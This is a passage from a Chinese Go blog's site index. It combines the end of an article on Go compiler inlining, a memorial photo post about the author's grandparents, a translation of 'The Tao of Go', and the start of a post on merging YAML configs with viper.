从代码中我们看到：如果没有全局关闭内联优化(base.Flag.LowerL != 0)，那么Main就会调用inline包的InlinePackage函数执行内联优化。InlinePackage的代码如下：\n// $GOROOT/src/cmd/compile/internal/inline/inl.go func InlinePackage() { ir.VisitFuncsBottomUp(typecheck.Target.Decls, func(list []*ir.Func, recursive bool) { numfns := numNonClosures(list) for _, n := range list { if !recursive || numfns \u0026gt; 1 { // We allow inlining if there is no // recursion, or the recursion cycle is // across more than one function. CanInline(n) } else { if base.Flag.LowerM \u0026gt; 1 { fmt.Printf(\u0026quot;%v: cannot inline %v: recursive\\n\u0026quot;, ir.Line(n), n.Nname) } } InlineCalls(n) } }) } InlinePackage遍历每个顶层声明的函数，对于非递归函数或递归前跨越一个以上函数的递归函数，通过调用CanInline函数判断其是否可以内联，无论是否可以内联，接下来都会调用InlineCalls函数对其函数定义中调用的内联函数进行替换。\nVisitFuncsBottomUp是根据函数调用图从底向上遍历的，这样可以保证每次在调用analyze时，列表中的每个函数都只调用列表中的其他函数，或者是在之前的调用中已经analyze过(在这里就是被内联函数体替换过)的函数。\n什么是递归前跨越一个以上函数的递归函数，看下面这个例子就懂了：\n// github.com/bigwhite/experiments/tree/master/inlining-optimisations/recursion/recursion1.go func main() { f(100) } func f(x int) { if x \u0026lt; 0 { return } g(x - 1) } func g(x int) { h(x - 1) } func h(x int) { f(x - 1) } f是一个递归函数，但并非自己调用自己，而是通过g -\u0026gt; h这个函数链最终又调回自己，而这个函数链长度\u0026gt;1，所以f是可以内联的：\n$go build -gcflags '-m=2' recursion1.go ./recursion1.go:7:6: can inline f with cost 67 as: func(int) { if x \u0026lt; 0 { return }; g(x - 1) } 我们继续看CanInline函数。CanInline函数有100多行代码，其主要逻辑分为三个部分。\n首先是对一些//go:xxx指示符(directive)的判定，当该函数包含下面指示符时，则该函数不能内联：\n//go:noinline //go:norace或构建命令行中包含-race选项 //go:nocheckptr //go:cgo_unsafe_args //go:uintptrkeepalive //go:uintptrescapes … … 其次会对该函数的状态做判定，比如如果函数体为空，则不能内联；如果未做类型检查(typecheck)，则不能内联等。\n最后调用visitor.tooHairy对函数的复杂性做判定。判定方法就是先为此次遍历(visitor)设置一个初始最大预算(budget)，这个初始最大预算值为一个常量(inlineMaxBudget)，目前其值为80：\n// $GOROOT/src/cmd/compile/internal/inline/inl.go const ( inlineMaxBudget = 80 ) 然后在visitor.tooHairy函数中遍历该函数实现中的各个语法元素：\n// $GOROOT/src/cmd/compile/internal/inline/inl.go func CanInline(fn *ir.Func) { ... ... visitor := hairyVisitor{ budget: inlineMaxBudget, extraCallCost: cc, } if visitor.tooHairy(fn) { reason = visitor.reason return } ... ... } 不同元素对预算的消耗都有不同，比如调用一次append，visitor预算值就要减去inlineExtraAppendCost，再比如如果该函数是中间函数(而非叶子函数)，那么visitor预算值也要减去v.extraCallCost，即57。就这样一路下来，如果预算被用光，即v.budget \u0026lt; 0，则说明这个函数过于复杂，不能被内联；相反，如果一路下来，预算依然有，那么说明这个函数相对简单，可以被内联优化。\n注：为什么inlineExtraCallCost的值是57？这是一个经验值，是通过一个benchmark得出来的。\n一旦确定可以被内联，那么Go编译器就会将一些信息保存下来，保存到IR中该函数节点的Inl字段中：\n// $GOROOT/src/cmd/compile/internal/inline/inl.go func CanInline(fn *ir.Func) { ... ... n.Func.Inl = \u0026amp;ir.Inline{ Cost: inlineMaxBudget - visitor.budget, Dcl: pruneUnusedAutos(n.Defn.(*ir.Func).Dcl, \u0026amp;visitor), Body: inlcopylist(fn.Body), CanDelayResults: canDelayResults(fn), } ... ... } Go编译器设置budget值为80，显然是不想让过于复杂的函数被内联优化，这是为什么呢？主要是权衡内联优化带来的收益与其开销。让更复杂的函数内联，开销会增大，但收益却可能不会有明显增加，即所谓的“投入产出比”不足。\n从上面的原理描述可知，对那些size不大(复杂性较低)、被反复调用的函数施以内联的效果可能更好。而对于那些过于复杂的函数，函数调用的开销占其执行开销的比重已经十分小了，甚至可忽略不计，这样内联效果就会较差。\n很多人会说：内联后不是还有更多编译器优化机会么？问题在于究竟是否有优化机会以及会实施哪些更多的优化，这是无法预测的事情。\n4. 对Go编译器的内联优化进行干预 最后我们再来看看如何对Go编译器的内联优化进行干预。Go编译器默认是开启全局内联优化的，并按照上面inl.go中CanInline的决策流程来确定一个函数是否可以内联。\n不过Go也给了我们控制内联的一些手段，比如我们可以在某个函数上显式告知编译器不要对该函数进行内联，我们以上面示例中的add.go为例：\n//go:noinline func add(a, b int) int { return a + b } 通过//go:noinline指示符，我们可以禁止对add的内联：\n$go build -gcflags '-m=2' add.go ./add.go:4:6: cannot inline add: marked go:noinline 注：禁止某个函数内联不会影响InlineCalls函数对该函数内部调用的内联函数的函数体替换。\n我们也可以在更大范围关闭内联优化，借助-gcflags ‘-l’选项，我们可以在全局范围关闭优化，即Flag.LowerL == 0，Go编译器的InlinePackage将不会执行。\n我们以前面提到过的reviewdog来验证一下：\n// 默认开启内联 $go build -o reviewdog-inline github.com/reviewdog/reviewdog/cmd/reviewdog // 关闭内联 $go build -o reviewdog-noinline -gcflags '-l' github.com/reviewdog/reviewdog/cmd/reviewdog 之后我们查看一下生成的binary文件size：\n$ls -l |grep reviewdog -rwxrwxr-x 1 tonybai tonybai 23080346 Oct 13 20:28 reviewdog-inline* -rwxrwxr-x 1 tonybai tonybai 23087867 Oct 13 20:28 reviewdog-noinline* 我们发现noinline版本居然比inline版本的size还要略大！这是为什么呢？这与-gcflags参数的传递方式有关，如果只是像上面命令行那样传入-gcflags ‘-l’，关闭内联仅适用于当前package，即cmd/reviewdog，而该package的依赖等都不会受到影响。-gcflags支持pattern匹配：\n-gcflags '[pattern=]arg list' arguments to pass on each go tool compile invocation. 我们可以通过设置不同pattern来匹配更多包，比如all这个模式就可以包括当前包的所有依赖，我们再来试试：\n$go build -o reviewdog-noinline-all -gcflags='all=-l' github.com/reviewdog/reviewdog/cmd/reviewdog $ls -l |grep reviewdog -rw-rw-r-- 1 tonybai tonybai 3154 Sep 2 10:56 reviewdog.go -rwxrwxr-x 1 tonybai tonybai 23080346 Oct 13 20:28 reviewdog-inline* -rwxrwxr-x 1 tonybai tonybai 23087867 Oct 13 20:28 reviewdog-noinline* -rwxrwxr-x 1 tonybai tonybai 20745006 Oct 13 20:30 reviewdog-noinline-all* 这回我们看到reviewdog-noinline-all要比reviewdog-inline的size小了不少，这是因为all将reviewdog依赖的各个包的内联也都关闭了。\n5. 小结 在这篇文章中，我带大家一起了解了Go内联相关的知识，包括内联的概念、内联的作用、内联优化的“开销”以及Go编译器进行函数内联决策的原理，最后我还给出控制Go编译器内联优化的手段。\n内联优化是一种重要的优化手段，使用得当将会给你的系统带来不小的性能改善。Go编译器组也在对Go内联优化做持续改善，从之前仅支持叶子函数的内联，到现在支持非叶子节点函数的内联，相信Go开发者在未来还会继续得到这方面带来的性能红利。\n本文涉及的源码可以在这里下载。\n6. 参考资料 Introduction to the Go compiler – https://go.dev/src/cmd/compile/README Proposal: Mid-stack inlining in the Go compiler – https://github.com/golang/proposal/blob/master/design/19348-midstack-inlining.md Mid-stack inlining in the Go compiler – https://golang.org/s/go19inliningtalk Inlining optimisations in Go – https://dave.cheney.net/2020/04/25/inlining-optimisations-in-go Mid-stack inlining in Go – https://dave.cheney.net/2020/05/02/mid-stack-inlining-in-go cmd/compile: relax recursive restriction while inlining – https://github.com/golang/go/issues/29737 “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/10/17/understand-go-inlining-optimisations-by-example/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-go-inlining-optimisations-by-example-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/10/17/understand-go-inlining-optimisations-by-example\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/10/17/understand-go-inlining-optimisations-by-example\"\u003ehttps://tonybai.com/2022/10/17/understand-go-inlining-optimisations-by-example\u003c/a\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e移动互联网时代，直面C端用户的业务系统规模一般都很庞大，系统消耗的机器资源也很可观，系统使用的CPU核数、内存都是在消耗公司的真金白银。在服务水平不下降的前提下尽量降低单服务实例的资源消耗，即我们俗称的“少吃草多产奶”，一直是各个公司经营人员的目标，有些公司每降低1%的CPU核数使用，每年都能节省几十万的开销。\u003c/p\u003e","title":"通过实例理解Go内联优化"},{"content":"\n图：姥姥姥爷在市中心转盘前的合影\n本文永久链接 – https://tonybai.com/2022/10/04/remembering-grandma-and-grandpa-on-chung-yeung-festival\n今天是国庆黄金周的第四天，亦是中国传统的重阳节。正所谓“岁岁重阳，今又重阳”。每逢重阳，古人喜登高饮酒，赏菊赋诗，思乡怀亲。今年的重阳对我来说亦是十分特别，因为每当想到去年姥姥的离去，我的心情就很伤感，总怀念着自己去世的姥姥姥爷，回忆起那些儿时往事，回忆起童年姥姥对我的谆谆教导，心中顿涌起对二位老人的无尽的思念。\n前两天，在表妹的快手账号中找到了一组由姥姥姥爷的翻拍照片合成的视频，于是截取了几张姥姥姥爷“年轻”时的独照和合照，放到这里留作纪念。\n图1：刚退休不久的姥姥在厨房做饭\n图1注：姥姥来自扬州，是个地道的南方妹子，心灵手巧，做的一手好饭菜，小时候的我，尽管物质条件不好，但姥姥用普通的食材也能做出美味的佳肴，我十分有口福^_^。图片中姥姥的手与年龄似乎不相称，那是因为她一直从事重体力，这双手记录了姥姥为家庭的付出。\n图2：老屋院子里姥姥和姥爷的合影\n图2注：这张照片让我想起了我儿时姥姥姥爷的家，那是一座前后两栋小房子的住宅，屋子不大，中间夹个小院子也很袖珍，整体比较简陋，但这里却装满了我的回忆，在小学六年级之前，我几乎每天都在这里打过卡。姥姥和姥爷就在这样的一个不大的家里一起生活了数十年，从这张照片里，从姥姥和姥爷的脸上，我们能看到他们来自心底的幸福。\n图3：姥姥姥爷的合影，时间地点不详\n图3：这是姥姥姥爷的合影，不过年代不能确定，地点具体是在扬州还是在辽宁，我也无法确定。姥姥姥爷也曾年轻过，在那个特殊的年代，响应国家和党的号召，全身心投入到建设祖国的革命事业当中。\n图4：老屋院子里姥姥和姥爷的合影\n图4注：这张照片也是在老屋院子里的合影，从照片具有的色彩上来看，这张照片要比图2中的合影要晚几年。那时候姥爷应该也退休了，在市委大院守卫室工作。姥姥应该已经开始了全职带娃(孙子、孙女和外孙子)的工作。从我的角度来看，那时候的姥姥真年轻啊。\n图5：老屋院子里姥姥的单人照\n图5注：这张照片我好像也是头一次见，照片中的姥姥慈眉善目，这就是我最爱的刚退休不久的姥姥。照片中窗台上是月季，地上放的应该是一盆石榴树，后来那个石榴树还结出了一个小石榴呢。\n图6：家庭合影1\n图6注：这是一张家庭合影，前排是姥姥姥爷，后面从左1是我大表姐，左2是我妈妈，右1是我老舅。合影原因不详。\n图7：家庭合影2\n图7注：这也是一张家庭合影，左1是我姥姥，左2是我姥爷，右1是我二舅爷，也就是我姥姥的亲弟弟，右2是二舅爷的爱人，也就是我二舅姥。前排的小女孩是二舅爷的孙女，和我的年龄仿上仿下。当年二舅爷和二舅姥带着孙女从扬州千里迢迢来到辽宁就为了看看他的姐姐，当时我们全家都非常开心。记忆中二舅爷住了至少有半个月。当时对二舅爷最主要的印象就是听不懂他的扬州话，另外他的嗓门很大，说起话来瓮声瓮气的^_^。多年前就听说二舅爷离开人世了，。\n图8：姥姥姥爷的合影\n图8注：这应该是姥爷2006年末姥爷去世之前几年内的一张照片。据说是姥爷和姥姥参加一个保健品大会后的合影，当时觉得挺好笑，现在反倒觉得这张照片很珍贵。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/10/04/remembering-grandma-and-grandpa-on-chung-yeung-festival/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/remembering-grandma-and-grandpa-on-chung-yeung-festival-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e图：姥姥姥爷在市中心转盘前的合影\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/10/04/remembering-grandma-and-grandpa-on-chung-yeung-festival\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/10/04/remembering-grandma-and-grandpa-on-chung-yeung-festival\"\u003ehttps://tonybai.com/2022/10/04/remembering-grandma-and-grandpa-on-chung-yeung-festival\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e今天是国庆黄金周的第四天，亦是中国传统的重阳节。正所谓“岁岁重阳，今又重阳”。每逢重阳，古人喜登高饮酒，赏菊赋诗，思乡怀亲。今年的重阳对我来说亦是十分特别，因为每当想到去年\u003ca href=\"https://tonybai.com/2022/04/05/my-grandma\"\u003e姥姥的离去\u003c/a\u003e，我的心情就很伤感，总怀念着自己去世的姥姥姥爷，回忆起那些儿时往事，回忆起童年姥姥对我的谆谆教导，心中顿涌起对二位老人的无尽的思念。\u003c/p\u003e","title":"重阳节思姥姥姥爷"},{"content":"\n本文永久链接 – https://tonybai.com/2022/09/25/the-tao-of-go\n近期阅读了John Arundel的文章《The Tao of Go》，看完后我都有心去阅读一遍《道德经》了:)。作者将Go语言设计哲学与惯例与“道”学三宝有机的联系到一起，给了我不小的启发。这里译成中文，供大家参考。\n你可以让水牛去任何地方，只要它们想去 – 杰拉尔德・温伯格 《咨询的奥秘》(译注：原文似乎将Gerald M. Weinberg 写成了Jerry Weinberg，应该是笔误)\n“道”是指事物的内在本质或自然趋势。例如，水向低处流：这就是水的“道”。你可以筑坝、疏导、抽水，或以其他方式干扰它，但尽管你做了种种努力，它最终可能还是会流向它要去的地方。\n你遵循“道”并将其作为你的处事原则，就是要对事物的自然趋势保持敏感，不浪费精力与之抗争，而是顺势而为，而非逆势而为。\n扩展一下水的比喻，一个泳技糟糕的游泳者在水中乱扑腾，制造了很多噪音和骚动，但却没有真正前进。而道家，则是在水中冲浪(译注：借助波浪，顺势而为)。\n那么什么是Go语言之道呢？如果我们以一种敏感的、聪明的方式来进行Go的软件开发，遵循语言和问题的自然轮廓，而不是试图用推土机把它们推开，那会是什么样子呢？让我们试着建立一些一般原则。\n一. 仁慈(Kindness) 我有三宝，持而保之。一曰慈(kindness)，二曰俭(simplicity)，三曰不敢为天下先(humility，谦逊)。- 《道德经》\n用仁慈(译注：最大程度的善意)和同情心编写程序是什么意思呢？它意味着我们为人而不是为计算机写代码。人容易犯错，没有耐心，缺乏经验，注意力不集中，而且在其他方面也不完美。我们可以通过在Go代码的设计和细节上花些心思，使大家的生活（和工作）变得更加轻松。\n我们可以善待我们的用户：给我们的库起一个描述性的名字(译注：比如像net、os这样的名字)，让它们容易导入，提供良好的文档，并为它们提供宽松的开源许可。我们可以设计深度抽象，让用户利用小而简单的API来访问强大而有用的行为。\n我们可以善待那些运行我们程序的人，使他们易于安装和更新，要求最少的配置和依赖，捕捉最常见的使用错误和运行时的错误，给用户提供有用的、准确的和友好的信息，告诉他们出现了什么错误以及如何解决。\n聪明是一种天赋，仁慈是一种选择。 – 杰夫・贝佐斯\n我们可以通过尽可能的清晰(clear)、简单(simple)和明确(explicit)来善待那些不得不阅读我们代码的人。我们可以给类型和函数起一个在上下文中有意义的名字，让用户用我们的抽象概念在直接的、逻辑的组合中创建自己的程序。我们可以通过遵守惯例、实现标准接口和以明显的方式做明显的事情来消除认知上的障碍和速度上的障碍。\n在代码审查中，我们保持温和并多用鼓励性的语言。我们在别人的工作中找到值得称赞的地方，我们不会因为别人犯错或忽略细节而把他们当成傻瓜。如果我们对自己坦诚，我们会承认我们也会犯同样的错误。我们也知道，接受批评对我们来说是痛苦和困难的，但我们可以用仁慈来调节以应对对自己的批评。\n最后，我们也要对自己仁慈，通过编写优秀的测试，使我们的程序在未来容易理解、修正和改进，当我们发现错误或设计缺陷时，不要对自己生气。\n一旦代码仓库变成了意大利面条，就几乎不可能修复。 – John Ousterhout, 《软件设计的哲学》\n另一个对我们未来的自己和我们的继任者仁慈的方法是，对程序的结构和整体设计进行小的、持续的改进。好的程序能活很久（当然，有一些糟糕的程序也能活很久），许多小改动的累积效应通常会使代码库变得混乱、复杂和笨拙。我们可以花一点额外的时间来帮助避免这种情况的发生，每当我们为某些事情访问代码库时，我们就可以重构和清理它。因为我们很少有机会从头开始重写系统，所以长期投入少量时间进行微改进是保持系统健康的唯一实用方法。\n二. 简单(Simplicity) “道”教给我们的第二种美德是节俭(frugality)、谦虚(modesty)、简单(simplicity)：以小博大，消除杂乱。Go本身就是一种“节俭”的语言，拥有较少的语法和表面积(译注：可能是较少的API的意思)。它并不试图做所有的事情，或者取悦所有人。\n我们的生活被琐碎的细节浪费掉了。简化，再简化”— 亨利・大卫・梭罗《瓦尔登湖》\n我们也应该这样做，使我们的程序小而聚焦，不混乱，做好一件事。深度抽象为强大的机器提供了一个简单的接口。我们不会让用户为了获得调用我们库的特权而做大量的文书工作。只要我们能够为最常见的情况提供一个简单的API和合理的默认值，我们就会这么做。\n灵活性是一件好事，但我们不应该试图处理每一种情况，或提供每一种功能。可扩展性是很好的，但我们不应该为了我们目前还不需要的东西做出妥协而损害一个简单的设计。事实上，一个简单的程序比一个复杂的程序更容易扩展。\n我有最简单的口味。我总是对最好的东西感到满意。 – 奥斯卡-王尔德，引自Edgar Saltus，”奥斯卡-王尔德，一个闲人的印象”\n我们不会用函数、类型、接口、回调、参数和功能选项(options)来压垮用户。最小的API是最好的，因为它需要最少的知识来使用。我们不会用几十个包和子文件夹的子文件夹来将我们的module复杂化。我们不会采用无休止的命令行标志或要求用户编写冗长的配置文件。\n我们满足于重复大块的代码，而不是纯粹为了满足我们保持代码不重复的愿望而发明不必要的抽象概念。如果我们可以通过为几种不同的类型实现相同的函数来解决问题，我们就不写复杂的代码生成器或泛型函数(译注：Go 1.18泛型落地后，有些时候使用泛型函数感官上代码更为简洁)。如果一个方法自然有点长，我们会让它长，而不是积极地把它重构为不必要的子函数，只是为了让每个子函数都能有几行长。\n如果一个就够了，我们就不写十个测试。如果只需要一个函数，我们就不创建一个接口。我们不要让用户实现我们的接口，而是要实现他们的接口。\n谁能出不由户，何莫由斯道也? – 孔子\n我们是明确的/显式的(explicit)；我们避免魔法。我们不在没有帮助的地方使用并发性。我们让包自成一体，与其他包解耦，我们避免让一个包或API的类型泄漏到我们代码库的其他部分。我们设定明显的内部和外部界限，并加以执行。\n我们节约资源；我们避免泄漏，并在必要时使用尽可能少的内存或CPU。我们高效地处理数据流，而不是将其放入大块的内存中。我们产生的垃圾越少，需要收集的就越少。我们不在不需要的地方传递Context。\n我们不纠结于性能问题。Go是高性能的。但我们的代码可能不需要这么快；至少，不需要以牺牲简单性为代价来换取高性能。\n正如Go谚语所说：我们接受接口值。这样我们就需要对它们是什么做出最少的假设，但我们会返回具体的值（结构），这样用户就不用为它们编写大量的类型断言。\n三. 谦逊(Humility) 第三件宝物是谦逊。像水一样，道家寻求低调，不争，不比，不试图打动别人。Go本身是谦逊和务实的：它没有其他语言的所拥有高科技功能特性和理论优势。事实上，它故意忽略了许多其他语言的重要卖点。它的设计者对创造一种令人印象深刻的编程语言或在人气调查中名列前茅并不感兴趣，而是想为人们提供一种小型而简单的工具，以最实用和最直接的方式完成有用的工作。\nGo认识到我们很容易犯错，因此它提供了很多方法来保护我们不犯错。它负责分配内存，清理我们已经用完的东西，并警告我们有未使用的包导入或变量。它是为那些知道自己不是什么都懂，并且了解自己的错误倾向的人(换句话说，是谦虚的人)设计的语言。\n最危险的错误是没有认识到我们自己的错误倾向。 – 巴塞尔-利德尔-哈特\n作为Go程序员，我们写代码不要显得过于聪明，我们通过这种方式来保持谦逊。我们写代码并不是为了给大家留下我们是多么了不起的程序员的印象：相反，我们满足于做明显的事情。我们清楚而直截了当地表达自己，而不觉得有必要把自己的个性强加在代码中。\n当标准库能解决问题时，我们就使用它，而只有在它不能解决问题时才使用第三方库。如果有一个堪称事实标准的包，我们就使用它：如果它对别人足够好，对我们也足够好。\n我们避免通过panic或调用os.Exit或log.Fatal来意外地终止用户的程序，因为我们认识到，我们没有足够的智慧来事先确定问题是否真的是致命的。相反，我们会在问题发生时处理一切可以处理的事情，而当我们不能处理时，我们会谦逊地返回一个错误，并提供有用的上下文信息，让我们的用户来决定如何处理。\n我们可以认识到，我们并不了解所有的事情，我们也无法做出非常准确的预测（尤其是对未来的预测），所以我们不应该浪费时间和精力来预先设计我们可能永远不需要的东西。我们不认为我们最了解其他的软件是否会想和我们的软件一起使用，所以我们不会硬性规定对它的依赖。\n我们假设我们写的任何东西都会包含bug，所以我们写了详尽的测试代码，试图引出意外的行为或不正确的结果。我们明白不可避免地会有一些我们不知道或无法正确预测的重要事情，所以我们不会为了现状而过多地优化代码，因为很多工作最终都会被浪费掉。\n以学生的姿态（不断学习），永远不要觉得已经长大而不问问题，永远不要觉得知道得太多而拒绝学习新事物。- 奥格·曼狄诺, 《世界上最伟大的销售员》的作者\n当我们审查别人的代码时，我们不会自动假设我们是最了解的：我们很乐意向任何有东西可以教我们的人学习。如果有些东西看起来很奇怪或不对，我们就会问：”从什么角度看这是有意义的？我没有什么信息可以解释为什么这是必要的？”\n我们把我们的评论当作问题，以真诚而不是讽刺的方式提出：这有必要吗？如果……会怎样？你有没有考虑过……？如果……会不会更好？我们尊重别人的时间，就像尊重自己的时间一样，所以我们不要求他们提供不必要的信息，或者只为了符合我们喜欢的风格而做出微小的改变，或者坐在走形式的会议中浪费时间，或者写多余的状态报告。\n我们知道我们并不总是正确的。明智的人可以以一种文明和建设性的方式对事情提出异议。如果我们把人们当做白痴，那么当他们反应不好的时候就不应该感到惊讶。相反，我们一开始就假设对方是理性的、体面的，并根据他们对情况的最佳理解，真诚地行事。有时情况并非如此，但这仍然是正确的默认假设，直到他们最终证明不是这样。\n在要求别人审查自己的代码之前，我们会谦虚地审查自己的代码，因为如果我们这都懒得做，他们为什么要做？我们花时间逐行阅读，像一个新的用户或开发者那样阅读，遵循逻辑逐一论证：从哪里开始阅读是否很清楚？程序是否在一开始就引入了关键的类型或常量并说明它们是如何使用的？命名是否清楚并准确地指明了它们的作用，或者它们在十几次重构中是否变得混乱和过时了？程序是否整齐自然地融入了它的结构，或者它在某些部分过度堆砌，而在其他部分奇怪地留下了空白？\n因为我们没有被自己的聪明和优雅所束缚，我们不需要把三四个不同的想法塞进一行代码中。相反，我们把逻辑清晰、简单、显式地列出，一步一步地，一个一个地陈述，一点一点地，以读者所期望的方式准确地做必要的事情。在无法做到这一点的地方，我们会不厌其烦地向读者解释他们需要知道什么才能理解发生了什么。\n因为我们知道我们不是天才，我们不可能把程序写得那么出色，不言自明，所以我们在解释上花了一些功夫。我们为代码提供文档，不仅说明程序的作用，而且说明如何用它完成用户可能想要做的事情。文档还包含了详细的使用例子，准确地显示出需要做什么，从头开始，以执行现实的任务，当它完成时，用户应该期望看到什么，以及他们接下来应该做什么，并且我们严格地定期检查这些例子，以确保它们仍然有效。\n四. 无为(Not Striving) 我们已经谈到了一些将仁慈、简单和谦逊这三件宝物应用于用Go编写软件的方法。这些品质已经存在于每个人身上，即使它们在一些人身上隐藏得很好。同样地，每个人都已经知道如何在编程和生活中遵循“道”。的确，他们不能不这样做。但是，一旦你理解了这个事实，并停止在所有事情上做这样的挣扎，生活就会变得更加有趣。\n道给我们的最后一个教导是无为（not striving）。这有时会被误解为懒惰、退缩或被动；恰恰相反。努力工作并不总是意味着工作出色。我们都知道那些长期忙碌的人，总是匆匆忙忙，手忙脚乱，活动频繁，但他们似乎从未真正取得过什么成就。而且，他们过得很痛苦，因为他们也知道这一点。\n相反，我们经常在别人看来我们什么都没做的时候以最佳状态完成我们的工作：在一个美丽的日子里在河边散步，或者坐在门廊上看蜘蛛结网。如果我们能聪明地从忙碌中停下来，只需一分钟，正确的想法往往就会直接出现在我们的头脑中。\n与其把每个问题都当作要攻击的敌人、要攀登的山峰或要拆毁的墙壁，我们可以使用“无为”原则（有时“不强迫(not forcing)”会是更好的翻译）。我们可能都有过这样的尴尬经历：无果地推一扇顽固的门，最后才意识到这扇门对拉动的反应更好。在我们的日常工作中，我们忽略了哪些小迹象表明我们应该拉而不是推？\n解决问题的心态是好的，但消除问题则更好。我们怎样才能重新规划这个问题，使其消失？对需求的重述会使解决方案变得微不足道，甚至显而易见？是否有一个简单而优雅的设计是我们没有看到的，因为我们专注于一些被证明是不相关的细节？我们是否可以不用尝试解决这个问题？最好的优化是根本不做这件事。\n把编程和打字混为一谈是一个常见的错误。如果有人只是坐在那里盯着空间，那就不像是在做什么有用的事情。但是，如果他们在键盘上疯狂地敲击，我们就会认为他们在做什么。事实上，真正的编程发生在打字之前，有时甚至代替了打字。当我们构思了一段非常好的程序，我们唯一需要按的键往往是删除键。\n真正有趣的是，你不需要相信我的话来证明道家原则在编程中的有效性，或者在生活的其他领域。世界本身会教你什么是有效的，什么是无效的，以及如何分辨它们。在行使你的仁慈、简单和谦逊方面做一些小实验，看看会发生什么，感觉如何。\n你不必称它为“道”，如果这让你感到恼火。这只是一个人为编造的词。如果你一直知道做事情有正确的方法和错误的方法，而且你认为我只是用了一个花哨的中文名字而没有说什么新的或有价值的东西，你是对的。\n下次你遇到问题时，试一次不努力或不强迫，看看是否可以温和地鼓励问题自己解决。如果你发现自己在努力把水牛送到你想去的地方，就不要再挣扎了。问问自己，你是否能找到水牛想去的地方，也许那可能不是它的最佳位置。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/09/25/the-tao-of-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-tao-of-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/09/25/the-tao-of-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/09/25/the-tao-of-go\"\u003ehttps://tonybai.com/2022/09/25/the-tao-of-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e近期阅读了\u003ca href=\"https://bitfieldconsulting.com/\"\u003eJohn Arundel\u003c/a\u003e的文章\u003ca href=\"https://bitfieldconsulting.com/golang/tao-of-go\"\u003e《The Tao of Go》\u003c/a\u003e，看完后我都有心去阅读一遍《道德经》了:)。作者将\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003eGo语言设计哲学与惯例\u003c/a\u003e与“道”学三宝有机的联系到一起，给了我不小的启发。这里译成中文，供大家参考。\u003c/p\u003e\n\u003chr\u003e\n\u003cblockquote\u003e\n\u003cp\u003e你可以让水牛去任何地方，只要它们想去 – 杰拉尔德・温伯格 \u003ca href=\"https://book.douban.com/subject/25785829/\"\u003e《咨询的奥秘》\u003c/a\u003e(译注：原文似乎将Gerald M. Weinberg 写成了Jerry Weinberg，应该是笔误)\u003c/p\u003e","title":"Go语言之道[译]"},{"content":"\n本文永久链接 – https://tonybai.com/2022/09/20/use-viper-to-do-merge-of-yml-configuration-files\n作为小厂，我们的基础设施还不够完备，项目经理中秋节通知我们的系统近期要上second-to-last 